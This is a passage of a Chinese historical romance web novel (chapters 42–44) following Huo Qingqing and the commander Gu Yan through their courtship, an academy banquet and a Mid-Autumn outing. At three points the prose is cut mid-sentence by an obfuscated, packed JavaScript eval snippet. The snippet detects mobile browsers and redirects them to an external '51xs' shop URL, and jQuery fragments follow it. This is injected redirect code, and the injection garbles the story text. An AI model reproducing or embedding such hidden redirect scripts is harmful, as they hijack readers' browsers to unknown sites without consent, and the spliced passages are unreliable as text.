霍姑娘的声音闷闷的。 顾衍一愣,觉得自己浑身的热血都凝下来。是啊,他怎么忘记了,霍姑娘跟雁将离关系匪浅,魇症都是因着他。 是霍姑娘太坦荡,以至于他把雁将离忽略了,他心底是愿意相信霍姑娘的。 他声音有些嘶哑,只听见自己反复跟霍姑娘说:“没事了,我在。” 霍青青平复许久,才在他怀里抬起头来,斟酌着问道:“顾大人,不想知道吗?” “我跟将离,到底发生过什么。” 顾衍笑得有些艰难,他费力地挂起一个笑,眼底带着复杂的情绪:“我不是说过吗?若是霍姑娘不想说,就不必说,我可以等。” 顾大人啊。 明明自己都不舒服了还在强颜欢笑。 霍青青搂紧他的脖颈,轻浅带着安抚的吻落在他眉眼上,如雨点一般落在各处。 “我不会骗顾大人的。我与将离,是生死之交,这份情谊无法放下。他为了我付出了很多很多。” 霍青青坐在顾衍怀里,靠在他胸前听着他不稳的心跳:“我们曾经,是最好的战友。现在,是永远不会背叛的朋友。只是经历得太多,多得都数不清。我们在彼此的生命里都占据了太多时光,割舍不去,也不能割舍。” “我还有我爹、我哥哥、阿浔、锦屏、十一许多家人。可是将离,他只有我了。当年我遇到他的时候,是在乱葬岗。师父说生死有命,可是我看着他挣扎着从乱葬岗里爬出来,我觉得他命不该绝。” “是我另一个师父,杏林医老将他治好的。但是落了病根。他从一无所有到现在领着五万锋锐骑官居三品,他付出了太多。” 霍青青说着,轻轻抱住顾衍:“顾大人,你别怕啊。” “将离牵扯的事情太多,在能完全保下他之前。我还不能和盘托出。但是……顾大人,你别怕。我与将离之间的感情,清清白白。” “顾大人,你知道那种生死相托能将一切都交给对方的同袍吗?” 顾衍许久没说话,霍青青苦笑一声松开他:“我也不想让顾大人不安。可是将离,我于他有愧,心结始终难解。或许等哪一日真的解开心结,才能彻底释怀一些人和一些事。” “我知晓这种事不说出来或许会变成一道刺,但我不敢赌。顾大人,那我们就到此为止吧。趁着我们都还能全身而退。” 42.灯焰 霍青青刚一起身,就被顾衍拉回去。 “走什么?”顾衍环在她腰间的手收紧:“你不是在这里吗?” “我不是说过不求什么都告诉我,我与你一样也有还说不出口的东西。”顾衍说着,抬手将霍青青垂落的鬓发绕在指尖:“既然霍姑娘都说了信我,那我自然也信霍姑娘。” 顾衍将霍青青的鬓发别到耳后,这样抱着霍姑娘他会安心许多。 屋子里有些安静,顾衍低笑一声握住霍姑娘的手:“霍姑娘怎么不说话了?” 霍青青轻轻勾住顾衍的衣襟将他拉得近了些,犹豫着吻在他唇畔。随后辗转着落在他唇上,小心翼翼地触碰着。 还未等顾衍回过神来,霍青青已经从他怀里挣脱出来。 起身时落了簪,好在顾衍眼疾手快将那支玉簪接住。顾衍耳垂泛起红,一把拉住霍姑娘的手腕。 “你走什么?我走。”顾衍将霍青青捞起来,随手把簪子往她松散的发髻上一插,就把人安放到榻上,然后自己匆匆离去。 霍青青坐在榻上,看着顾衍不稳的背影,抬手摸上自己的脸。 面上还有些烫。 顾衍踏出门的一瞬间,反手就将门带上,发出一声响。他背靠着门无奈地抬起手捂住眼,然后指尖慢慢游移着落到方才霍姑娘落吻的地方。 这姑娘……胆子当真大得很。 许久,顾衍的心跳缓下来,隔着一道门同霍姑娘说话。 “霍姑娘,晚些我给你送饭来。” 顾衍最后也就憋出这么一句。 还未等霍青青回应,便匆匆离去。 霍青青扯了被子把自己捂得严严实实,遮住脸又遮住整个头。 方才的事是她这辈子干过最大胆的事。 就是觉得顾大人太好了,就想着想着就试探着碰上去了,现下这脸都还正发烫呢。 又过了许久,霍青青才一把拉下被子露出头来。然后爬起来走到窗户边推开窗大口呼吸起来。 她、她就是不自觉想试试。 看着顾大人好看,偶尔又乖巧得很,总归不能没个定心丸给他。 …… 顾衍一路奔走,到了自己院子里端起已经冰凉的茶水乱喝一气。喝完一盏尤觉不够,又给自己倒上两盏。 活了二十二年,第一次这么狼狈。 不用看铜镜都知道,自己现在脸上怕是飞上一片红了。顾衍觉着气血上涌,一时又无处倾泻。 他还没有霍姑娘胆子大。 霍姑娘能拉着他,一个接一个的吻落在他脸上,也能猝不及防吻在他唇齿间。他总怕自己稍近一步太过孟浪把霍姑娘下走,遂一直小心翼翼不敢越雷池一步。 还是霍姑娘自己拉住他。 虽只是浅尝辄止,但也能扰乱他心神。 顾衍坐在院子的石桌边休息着,都怪霍姑娘。 他就这样坐了许久。等到傍晚日阳西沉,他才缓过劲儿来,起身往学宫外去了。 今日前来送饭的是伍行,还听他嘱咐让兰浔多备了一只烤鸡。 伍行提着三层大食盒站在学宫门口,站了约一盏茶的功夫,远远就瞧见顾衍过来。 他连忙招手。 等顾衍过来后,他絮絮叨叨地把手里的食盒和一封急件放到顾衍手中。 末了,他还笑了句:“多半是圣上让你尽快回京。” 顾衍接过来,看着那封急件眉心一跳,只打开看了一眼就又塞回伍行手中,随后正色道:“我前些时日已经跟圣上禀明围剿长生教之时受了重伤,最快也要今年十月才能回京。长生教一事既已入案,自有大理寺接手,我回不回去无甚大碍。” 他这么一说,伍行就明白了,翻了个白眼儿点点头朝着顾衍抱了个拳:“是,郎中也说顾大人受伤颇重,还需修养月余才能启程返京。长生教一事由大理寺卿霍承阳接手。” “说得好。”顾衍点头,提着食盒就走。 伍行只能看着他的背影干瞪眼。 若是以前的顾衍,一案结了定要亲自整理卷宗,整理完了会放入锦衣卫案宗里留存。 不过他今日瞧着顾大人,怎么步履匆匆都不敢久留的? 真是奇了怪了。 等回去,顾衍把食盒里的吃食一一摆上时,霍姑娘已经换上一身青裙。她腰间系一根蓝色飘带,垂着几个玉佩环。 顾衍同曾来青州时那般坐在她对面,看着她慢腾腾地吃饭,然后顺手给她盛上一碗汤。 等着霍姑娘快吃完了,躲一边把食盒底层的糕点摆出来放上一盏茶。又出去打了一盆水供霍姑娘擦手洗漱。 “顾大人,锦屏的活儿都让你给干完了。”霍青青无奈地看着顾衍忙前忙后,接过他递来的帕子和茶水:“顾大人不吃些?” “我不饿。” 顾衍动作一顿,然后若无其事地将她吃完的碗碟收拾好。 好一番忙活,他才坐下来,看着霍姑娘掩在傍晚灯火里的脸,慢慢道:“这不是没带他们吗?我若是不把霍姑娘照顾好,回去谁都要找我麻烦。” 霍青青伸手摸摸他的他的脸,笑叹了一句:“顾大人这么怕他们啊?真是稀罕。” “霍姑娘前些日子在学宫时,有没有看上什么人?” 顾衍抬手握住霍姑娘的手,轻轻在他脸上磨蹭了几下才放到唇边轻吻上一下。 霍青青沉吟片刻。 “印象里倒是有那么两三个。我记得,陈爷爷将南宫濯的卷宗给我之后,说齐氏还送来一个南宫家的门生,不若这几日便看看?” 南宫濯一案记录在长生教中,因南宫濯和齐云一事,南宫氏旧案重提。报至大理寺由爹重查,最后抓的那个行太仆寺寺丞早已定罪。那案里,有个南宫氏的门生不远千里奔赴京城作为人证,后又赶回淇河,被齐家主重新扶持。最后林大学士与陈爷爷商议之后决定破例给了考卷。 那个南宫家的门生倒也争气,一篇答卷下来尽显文人风骨。 “想用他?”顾衍自是知晓霍姑娘何意。 南宫家那个门生本名元辰,出身寒门,幸得南宫墨池欣赏收入门下,齐家主是认识的。 当年南宫氏起冤案时,元辰曾顶着被灭口的风险于淇河府衙申冤。奈何淇河府衙那时就已经坏到了根,他申冤被抓去,南宫墨池费了好大的力才将他保出来。后面当众将他驱出南宫氏门庭,元辰无法,只得当着那日所有人的面给南宫墨池磕了三个响头背着包袱离开淇河。 他本想上京,却遭人暗中截杀,幸得路过游侠相助将他救下。就是这样,他养了许久才保住这条命。两个月前听闻南宫氏一案由大理寺重审,径直找到齐家主,求齐家主送他上京替死去的南宫墨池申冤。 倒算得有情有义了。 顾衍思衬下来,青青要文人,他要武将,两人合计着在学宫各选其三放入朝中。只是霍姑娘还得分一个出来给霍承阳当个门生。 霍青青抬手勾住顾衍的脖子,大大方方地在他脸侧落下一个吻。 “如今正值用人之际,看看他也无妨。”她窝在顾衍怀里,懒散地靠着,拨弄着腕间的玉镯子。 顾衍将她抱紧:“霍姑娘说的是。” “说起来,顾大人有没有查到宋世荣?” 顾衍摇头:“之前我们便查得一样,宋世荣与长生教没有瓜葛,但必然是推手。” “也是,宋世荣做事不会留把柄,否则,爹和爷爷也不会直到现在都抓不到。看来还需从长计议才是。”霍青青微微蹙眉,她此行,一是顾衍和长生教,二便是想抓宋世荣的把柄。 宋世荣虽傻,但人小心谨慎,这些年做大才慢慢发现端倪。那两个学子的命案,便要在他头上记一笔,那两个学子,是齐云所杀,但也仅仅是杀。后面的,便该是当初陨长老做的。 顾衍抬手轻轻按上霍姑娘的眉心将她蹙着的眉头抚平:“倒也不必太在意。倒是……” 他顿了顿,低下头来凑到霍姑娘耳畔:“霍姑娘还记不记得欠我许多银钱?我们可是立了字据的。” 霍青青一愣,反手摸索着摸上他脸侧:“顾大人记性可真好啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035552|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “怎么?霍姑娘想赖账?” 微凉的玉镯子碰上顾衍的脸,顺着霍青青的手腕滑下来些。 顾衍垂眸看着霍姑娘露出来的手臂,两个莹润通透的玉镯子带着暖黄的灯火,衬得霍姑娘的手臂越发白皙。 许是常年养得精细,霍姑娘白得很,骨架又小,一双手腕子纤细得他不敢用力。生怕重了点就留下红印子,他看着又得自己给自己论罪。 霍姑娘养得太好了,他还是怕到他这里没给养好。 “顾大人想什么呢。”霍青青的指尖点在他唇畔,不经意间撩拨了一下。 她被顾衍拢住指尖,然后轻咬了一下。 “顾大人,你属狗的呀?”霍青青想将手抽回来,奈何顾衍握得太紧,一时间只得由着他。 顾衍看着霍姑娘指尖一点微红的齿痕,这才觉得心里舒坦了。 “谁叫霍姑娘把手递来我眼前晃的?” “顾大人,你怎么耍无赖啊?”霍青青笑出声来:“我记着账呢,六千六百六十六两,是不是?” “是。”顾衍也笑笑:“字据我收着,免得霍姑娘赖账。” 等入夜,霍青青觉得秋风正好,奈何顾衍总说秋风寒凉,出来就给她带上一件薄披风。 “顾大人啊,我没这么娇气的。”霍青青垂眸看着顾衍给她系披风的手,有些无奈地抬手放在他手背上。 “我前日问了锦屏,她让我别让你受寒。”顾衍系好披风拉下霍姑娘的手握住:“霍姑娘,听话些。” “咳咳咳咳咳……” 一听着这一连串的咳嗽声就知道是陈之齐来了。 顾衍瞥过去一眼,果然见着陈之齐咳得脸红脖子粗。 “陈爷爷,何事?”霍姑娘笑着道。 “我是来看看,这小子有没有变登徒子。”陈之齐看着顾衍眼神锐利。 后者像是无知无觉,就拉着霍姑娘的手摆弄着。 陈之齐收回视线连连摇头:“世风日下、世风日下啊……” “陈爷爷。”霍青青无奈地又叫了一声。 陈之齐这才摆摆手:“不同他计较了。” “青青你不知,林豫那小子近日回了学宫将你和顾衍说得天花乱坠,我也一时没看住。经两月前那事,学子们都说想请你们也来。你们这不正巧也在青州就同意了遂才厚着脸皮把你们都邀来。” “这个时辰赶来是跟你们说,拜月宴是在三日后,三日后的夜里,青州学宫会摆上曲水流觞还有各色花灯。届时,你们也可去游玩。”陈之齐拢着袖子,说着林豫这小子懂事了,结果转头就在学宫里开始当说书先生。 真是…… 林映如今又不管他,无法无天得很。 再说南宫濯一事,陈之齐只觉得可叹。当日他亲自前往淇河南宫氏旧址的祠堂,将给南宫濯刻的长生牌供上南宫氏祠堂时,那祠堂里还挂着当年南宫澈吊死的白布。 南宫氏一脉,最后还是断了。 百年氏族南宫氏,就这样断了,最后竟落得门庭无人扫,只存于朝廷里的卷宗之中。 当真是,可惜了啊。 陈之齐看着眼前的顾衍和青青,秋风虽凉,这两人却如灼人的灯焰。 说得青青,是深明大义所做之事无不是为民请命。她自小就养在南方,爱往人多的地方走,学了一身各家本领认识许多人才会有两月前的各路豪杰围剿长生教。再说顾衍,也并非滥杀无辜之人,只是身居指挥使之位,有诸多传言。但他看着,此人是堪当大用,只是需要人去陪着他走一条能破开浮世障雾的路,让他不坠深渊,永行大道。 这两人,看着也像那么一回事。 只是青青牵扯的人太多,灵玄子也曾同他说青青像是一根缠绕的线,将许多人系在一处。他也不知这两人最后会走到什么地步。但他陈之齐,在有生之年还想看到朝堂焕新,四海清平。 那便交予他们吧。 陈之齐走出月洞门,朝着霍青青和顾衍一揖,扬声道:“那就等着青青和顾指挥使前来赴宴了。” 43.君子动口 青州学宫盛名已久,拜月宴更是文人所向。 伍行哪里会错过这个热闹,早早地骑着马前来,跟陈之齐好说歹说要了个顾衍隔壁的院子住下。 伍行他自己虽任职锦衣卫,自认肚子里没什么墨水,但他会吃会看。又觉着自顾大人跟霍姑娘整天粘糊在一起之后觉得顾大人越发奇怪,便决定住近些再看看。 可惜不巧,连着三日,顾大人都跟霍姑娘在学宫授课。伍行看来看去,霍姑娘闲来授画一门,霍姑娘授课时顾衍就坐在旁边瞧着,偶尔坐累了还出门一趟给霍姑娘取盘糕点过来,看得他牙酸。 顾大人这下不戴假面了,生得好也有不少学宫里的小姑娘看。 但可惜,顾大人就喜欢盯着霍姑娘看,看霍姑娘要提笔了他给拿了墨在一边磨。看霍姑娘要净手了他给早早地打了水。看霍姑娘授课完他站起来跟霍姑娘一起走出去。 哪有这般授课的? 难怪陈之齐跟他叨叨说顾衍没规矩。 等到了顾大人授射艺时,霍姑娘倒是没个影子。 后来一问陈之齐。 陈之齐说霍姑娘总挑着射艺课业去找他论事,就是不爱看射箭。 顾大人似是不在意,授课到一半就随便点几个人出来考了。 后来连着两日,他都发现顾大人鬼鬼祟祟总挑下午时溜出学宫。他就一路跟,然后跟到……首饰铺子。 第三日吧,顾大人授课时霍姑娘坐在一边小憩,顾大人上着课呢,往霍姑娘身边挪,挪过去随手引弓,射掉了伍行刚啃完的苹果核。 伍行当场愣在原地,沉默地看向顾衍,最后捡起箭矢拿着箭尖上的苹果核朝着顾衍竖起大拇指说了句:“顾大人,厉害。” 随后就听着顾衍招呼道:“都别愣着,五十步和百步草靶,射中即满分。伍行,你看着。” 接着就看着顾大人给霍姑娘紧了紧披风系带,把霍姑娘抱起来。 伍行觉得,他不该出现在这里。 …… 三日后,拜月宴。 学宫里早早地挂上花灯,在半山苑摆了曲水流觞。顾衍没功夫喝酒,一直都跟霍姑娘坐在一处,给她添菜摆吃食。拜月宴里,重头戏要数河灯祈福。 青州学宫自有一条顺山而下的溪流,每年拜月宴就会在这溪流旁吟诗作对,放下盏盏花灯写上祈福心愿放进溪流了看着它们顺流而去,意为祈平安成心愿。 此时空中月将圆,学子们三三两两聚集在溪流边。 有人折扇一展,青袍风流,吟出一阙醉月仙。有人泼墨挥毫,借天上一弯月,学宫一帘灯火色,寥寥数笔勾出拜月宴长卷。 自然,也有学子揣着一张情诗递予心仪之人,有姑娘接过一看,掩口轻笑又红了脸微微点头。 林豫和伍行熟一点,两人坐在一处饮酒,然后看着那方的顾衍和霍青青离席。 顾衍握着霍青青的手,也一同并肩站在溪流边,他蹲下来放出一盏花灯。 “顾大人写什么了?”霍青青也陪着他在这溪流边,她的目光追着顾衍放出的那盏河灯。等着河灯再看不到,她才将目光收回来。 顾衍接过她的河灯,不经意间看见上面写着几个人名。 “南宫家如今只余齐家主年年祭奠,今日我备了许多河灯,也替他们一同放了吧。”霍青青与他一同将写了人名的河灯放进溪流,随后又取出一展。 上面只写了两个字——平安。 直到河灯随着溪流飘远,顾衍与霍青青才站起身。 霍青青理了理她的裙摆,伸手扣住顾衍的手,然后嵌进他的指缝里。 顾衍反握过来,与她十指相扣着在岸上慢行。 直至一棵挂了花灯的树下,他才停下来,看着霍姑娘眼中盛了几点灯火,落着三分月色。 几乎是所有学子都看到,顾衍和霍青青站在一边树下,靠得极近,随后大名鼎鼎顾指挥使就被霍家那个霍姑娘给推开了。 顾指挥使不仅没生气,还几步追上去,然后转头看着他们一挑眉。 学子顿时寒暄起来,看天的看天,论诗的论诗。 顾衍一路跟着霍青青,直到霍青青停下脚步转身看着他:“顾大人也不怕我把你拿去卖了啊?” “那得看霍姑娘能不能卖出去了。”顾衍笑笑,跟上来几步把她的手握紧:“卖不出去就只能赖着霍姑娘了。” 霍青青另一只手按在顾衍胸口将他推开些:“顾衍,刚才那是登徒子行为。” “行,听霍姑娘的。下次不敢了。”顾衍无奈得很,方才那不是一时情动吗,然后气氛正好,看着霍姑娘就没忍住想做点什么,就……低头想…… 这不……也忘了背后一堆人看着,搂腰的手也没听他使唤。 霍青青看着他这模样气早消了,其实他也没做错,就是众目睽睽下,她也着实是没好意思。她胆子大,也没这么大。 顾衍心知是自己错了,低下头跟霍青青低声道:“霍姑娘,还生气吗?” 这方暗一些,花灯与月光交错朦胧着给顾衍映出一圈光尘。霍青青叹了一口气,抬手勾住他的脖颈,就在这灯火掩映下吻在他唇上。从浅尝辄止到顾衍被她撩拨反守为攻,她生疏顾衍也生疏。 顾衍一点点辗转在她唇齿间,压着自己的力道小心翼翼地探寻。 直到霍青青抬手将他推开半步,他才垂眸看着只到他胸口的霍姑娘:“怎么了?” “我没有顾大人武功这么高强啊,我要喘口气的。”霍青青笑着,抬手微微提着裙摆手腕间的玉镯轻碰。 霍青青看着顾衍耳垂红得快滴血,抬手就捏上去:“顾大人怎么跟被我调戏了一样。不是顾大人先动口的吗?” “霍姑娘怎么颠倒黑白?”顾衍握住她的手往下一拉,捂在自己胸口:“看看,它没变快。可我瞧着霍姑娘,才是真的……” 顾衍的话被堵了回去,霍姑娘指腹抹过他的唇畔微微抬起顾大人的下巴,桃花眼里带着戏谑,勾着唇又吻了上去。 随后就看着顾大人愣怔着,无奈地闭上眼,被她挑着下巴吻了半晌。 这下是真被调戏了。 顾衍的手慢慢挪到霍姑娘腰间,被霍姑娘抓了个正着。 随后,霍青青一个闪身就从他怀里溜走,顾衍愣愣地看着她回头朝他笑:“顾大人,早些睡。” 然后……就跑了。 顾衍一时又好气又好笑,他怎么就被十八岁的霍姑娘欺负了呢?顾衍一时有些无助,又只能无奈地站在原地。 他站了许久,才深吸一口气回了自己院子。 伍行夜里被一阵噼里啪啦的声音惊醒,推门一看,是顾衍大半夜里在练刀。 怎么会有人大半夜不睡觉爬起来练刀啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047825|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伍行一脸茫然,然后顾衍随手将刀一扔,直直钉到伍行身边的木柱子上。把伍行吓得半点睡意都没了。 “我说顾大人,你今日是收什么刺激了?这大半夜的不睡觉。”伍行深吸一口气,强行让自己把这口气咽下去,他打不过顾衍这个活阎王。 顾衍未答,抱臂站在他院子里,下巴微扬了扬:“你,很久没练你了。跟我打。” “啊?”伍行一下哽住,还未应答,顾衍就掠过来拔出刀一刀砍下来。 “顾衍你今儿是不是疯了?”伍行吓得往旁边一闪,连忙躲开。 “再来。”顾衍反手一握刀柄,又是几刀落下来,破空之声骤起。 他砍伍行躲,伍行躲得苦不堪言,徒手攀上院子里的老树才坐下来喘一口气。一口气还没喘完,就被顾衍追上来,伍行连忙翻一个爬起来继续躲。 “停!” 伍行一手撑着柱子一边喘着粗气:“顾衍,鸡都叫了。” 都五更天了。 顾衍这才收了刀,看着已经蒙蒙亮的天觉得神清气爽,随后回了自己院子连冲几桶冷水后换上干净的衣服躺回榻上。 “顾衍,你他x的有病啊!”伍行怒骂出声,终于累得坐在地上,然后扑腾着爬起来逃也似的回了自己房间麻溜地关上门。 以后夜里,他真的不出来乱晃了。 遭罪得很。 两个时辰之后,顾衍出现在霍青青门外,已经是一身清爽。今日他换了身玄黑绣青纹的武服,在霍青青门口站得笔挺。 等着屋子里有了动静,他才抬手敲敲门。 霍青青还困倦着,听到叩门声便起来简单梳洗了,换上一身青白衫裙。 她起身拉开门,果然是顾衍。 “顾大人怎的来得这么早?” 顾衍看着还带着困意的霍姑娘觉得甚是可爱,遂抬手捏在她脸上。 “霍姑娘,该醒醒用早膳了。” “醒了,顾大人。”霍青青躲开他的手缩回屋子里。 顾衍看着她摆出来的妆奁抬眼看向霍姑娘:“怎么?” “顾大人给我挑挑今日戴哪套。”霍青青将妆奁一层层拉开给顾衍看:“只带了这么五套,顾大人给我挑挑。” 妆奁里可谓琳琅满目,头面都是成套的,顾衍端详片刻,挑出一套白玉制的。 今日霍姑娘梳的简单的垂髻,这套白玉头面也简单。 顾衍拿起来,绕到霍姑娘身后,斟酌着将簪子插上去:“这样?” 霍青青看着铜镜点点头:“那便这样吧。” 顾衍还是第一次拿姑娘家的耳坠子,颇有些犯难,但也只片刻,便给霍姑娘戴上了。 “顾大人学得好快。”霍青青微微偏过头看了看,甚是满意地点点头:“不愧是顾大人。” 她说什么,顾衍其实没听进去。他就看着那白玉耳坠轻晃在霍姑娘耳畔,有时他也觉得,霍姑娘肤白,比这玉更甚。 霍青青回头来跟他笑道:“好些天了,顾大人的伤应当也好得差不多。我们今日先启程回玉楼春,待收拾几日,陪他们过了中秋,就该启程回京了。有的事,还是尽快处理的好。” “都听霍姑娘的。”顾衍俯下身来,给霍姑娘绕上腰间的玉佩环,才牵了霍姑娘的手。 今日回玉楼春也好,秋阳带暖,是个好天气。 44.我害怕 青州的中秋热闹,张灯结彩分外漂亮。 街上人群熙攘,摊子也是琳琅满目,五花八门的花灯摆了一条街。 玉楼春早在霍青青和顾衍还在学宫时就开始布置,几方乌木柱子上绑上青红绸,在高台上绾出一朵花。这几日玉楼春里生意好,来的人络绎不绝,就等着提上一篮点心买上一份烤鸡好回家去等晚上赏月。 霍青青之前说楼里太小,人多了便住不下,遂早早地给兰浔一叠银票去买下了一处现成的院子。 前日里刚定下来就带着玉楼春好些人去打点了也一并挂上彩灯绸带。就等玉楼春今日早些打烊,好一同去这个大院子里摆宴赏月。 霍青青左右没什么其他事做,就拉着兰浔出门逛街,顾衍伍行还有锦屏等人就跟在她们身后。 兰浔在霍青青身侧朝后努努嘴:“小青儿,你要不跟顾衍一同逛逛就得了,把我拉来是个什么意思?楼里可是忙着呢。” “好阿浔,你是不是有事瞒着我?”霍青青抓住兰浔的手,站在一处小摊子前,把摊子上的银镯子拿给她试。 一连试了好几个,都觉着好看,遂大手一挥让锦屏给了银子全买了戴在兰浔手上。 兰浔看着自己手腕上五六个银镯子哭笑不得:“小青儿,一个就够了,买这么多做什么?戴着太沉了。” “那阿浔跟我说说瞒着我的是什么事,不然我还给买。” 兰浔拿霍青青这个有钱人没法,她要真的不说,说不准这一条街就被霍青青买下来了。她的手臂可不想遭这个罪。 她转头看了一眼落得还远的顾衍和伍行,悄悄靠在霍青青耳边道:“近日有消息送至我这里。是说,有人在白沙关往京都递折子,不知道递的什么,只知八成与雁将离有关。” 霍青青拉着她的手一紧:“阿浔,你怎么现在才告诉我?” “小青儿。”兰浔无奈地叹了一口气,往顾衍那边看了一眼,转回来继续道:“我本也不会瞒你,只是觉着这事有点蹊跷。再加上你不是同……那顾衍这几日走得太近么?我也是昨日你们从学宫回来前不久才拿到的消息。本想着等今夜过了再告诉你。” “我同顾衍跟将离不一样。”霍青青微怔,看着兰浔有些不明所以。 兰浔见状,抬起手揉了好几下她的头:“小青儿你傻啊,你觉得不一样,那顾衍会真的一直信吗?” “那折子是何时从白沙关递出的?”霍青青没功夫思考兰浔这句话,只想知道那折子里到底是什么。 如今她不在京都,也不能托人拦下这折子。这个时候再去信往白沙关到京都的十三楼据点也晚了。 若是对将离不利的折子,也不知爹和爷爷能不能周旋一二。 “我回去就让疾风骤雨分送两封急件,再派人八百里加急送两封。这事耽搁不得,只能先周旋着等我回去。”霍青青看着走过来的顾衍,一时不知如何开口。 兰浔扯了扯她的袖口,低声道:“小青儿,这个选择在你。如今你同顾衍刚在一起,就出了这等事。我也不知……你与顾衍,现下如何,是否能真的两心相交。” 说罢,兰浔就撤开了,退后面去跟伍行寒暄。 顾衍站在霍青青身旁,拿起一根摊子上的银簪笑道:“霍姑娘怎么了?逛累了?” 霍青青垂下眼睫,自钱袋里取了银子给摊主,买下银簪。 她一边走着,顾衍就在她身侧挡开来往的人群。 霍青青忽然转头,在人群里跟顾衍相对而立。 “怎么了?霍姑娘。”顾衍把她拉近一点,带着她走到街边才不至于挡住往来的百姓。 霍青青站在街边的屋檐下,微眯着眼看着站在她面前的顾衍。 看了许久,才慢慢道:“就是走累了。” “我背你?”顾衍拉过她的手,把她带到怀里:“我还以为霍姑娘突然不要我了。” 霍青青一愣:“什么?” 顾衍扣住她的手,将她笼在自己的影子里,一点点地低头靠近,最后又离开。 霍青青还未反应过来,就听到他说:“霍姑娘,你知道你刚才那种神色吗?” “像是想同我说,不要你了。” 人声嘈杂里,顾衍的眼中带着霍青青看不懂的情绪。他苦笑着伸手握住她的手腕,声音很低:“可是……我们才刚开始啊。霍姑娘,霍青青。” “不是的,顾衍。” 霍青青近乎慌乱地反握住他的手,看着他苦笑着将她的手拉到胸口上,然后倾身下来在她耳边缓缓道:“霍姑娘,我害怕。” 时光好像在这一刻过得很慢,他们在青州的街边站着。霍青青只觉得他的声音刺得她胸口痛起来,她的手有些抖,然后被顾衍紧紧握住。 顾衍把她拉到怀里,抱紧。 他不想再管这是哪里他们身处何地,此刻只想把霍姑娘抱着。 方才霍姑娘看着他的眼神,是迷惘的。他很怕她说出一句顾衍,我不要你了。 他们明明才刚开始啊。 霍青青在他怀里良久,才抬起头:“顾大人,别怕啊。” “我听霍姑娘的,好不好?”顾衍放开她,还是死死握着她的手。 “走吧,顾大人,还没逛完,晚些回去。”霍青青没有挣脱,只反握住他的手往前面走。 兰浔看着两人,觉得自己方才好像做错了。 她其实真的该先瞒着小青儿的。 她其实也不甚清楚雁将离与小青儿的事。她只知道雁将离与小青儿是生死之交,没有小青儿就没有现在的雁将离。只是小青儿对待感情迟钝但随心,才会跟顾衍这么快走到一起。小青儿或许也不知,雁将离对她的感情不只是生死之交的战友那么简单,或许这份感情已经超出了爱情太多,才使得他们都心照不宣。 可雁将离,是为了小青儿入朝为将,也是为了小青儿才镇守白沙关。他整个世界,或许就剩下小青儿一人。 是不容其他人夺走的。 可是她也不知道,雁将离会不会真的放手。 他们之间的感情太过复杂,是旁人都无法看清的,更别说他们身在局中。 可那顾衍,不也揣着自己的秘密不肯说么?人人都有不可说,但唯独他们二人如果真的什么都不说,到后面恐怕会生嫌隙、猜忌。 她也不知道,若是哪天小青儿突然说跟顾衍分开顾衍会不会疯。她只知道,顾衍若是疯起来,那也没有人能拉着。 思量这许久,直到有人拉了她袖摆她才回过神来。 原来是伍行看着他们的背影想跟她八卦:“兰楼主,你瞧着我们顾大人跟你家霍姑娘,是不是挺登对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062326|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的?” 兰浔睨他一眼,然后把自己的袖子从他手里抽出来:“不知道。” “啊?”伍行被她一句砸懵了,这还能又不知道的? 只愣了片刻,他就抬脚匆匆跟上。 这一圈逛下来,霍青青都没有再松开顾衍的手。只偶尔停下来买东西,买完就又握住。 一大堆东西压得后面跟着的人苦不堪言,最后回了兰浔买下的那个大院子,伍行累得瘫在门口。 寻春从里面出来,弯腰抱起这些往里面搬,她还看了伍行一眼,顺道问了句:“伍大人要不要喝口水?我去给你倒。” 伍行像是抓住了救命稻草,忙爬起来坐着:“要要要,谢谢寻春妹子。” …… 夜里正开宴,今夜里的霍青青特许喝了五杯酒。喝得面颊泛起一点红,靠在顾衍肩上陪着院子里的人赏月。 因着玉楼春众人都松散,惯喜欢打闹,兰浔又开了酒局,顿时就热闹起来。也有人抱着自己的乐器,喝醉了就一通乱弹。 今日没有那次玉楼春的人多,大家就更放得开了。 主位上的霍青青借着酒劲捏住顾衍的下巴,笑道:“顾大人是美色。” 顾衍抬手轻轻搂住她的腰,看着此刻她眼尾微红,脸上也连带着晕开一层薄红,不由又靠近了些。 他看着霍姑娘因为酒液染得微微泛光的唇,觉得有些口干。他扫了一眼四周,见着他们都喝得烂醉,才像那夜里的霍姑娘吻他一样吻上去。 酒香慢慢散开来,他的手轻轻托上霍姑娘的后颈,慢慢加深这个吻。 他学得很快,从之前的试探变作如今生疏但大胆地勾着霍姑娘的舌尖轻吮。一直到霍姑娘眼里泛了泪花,他才将手放在她背上轻拍着她的背。 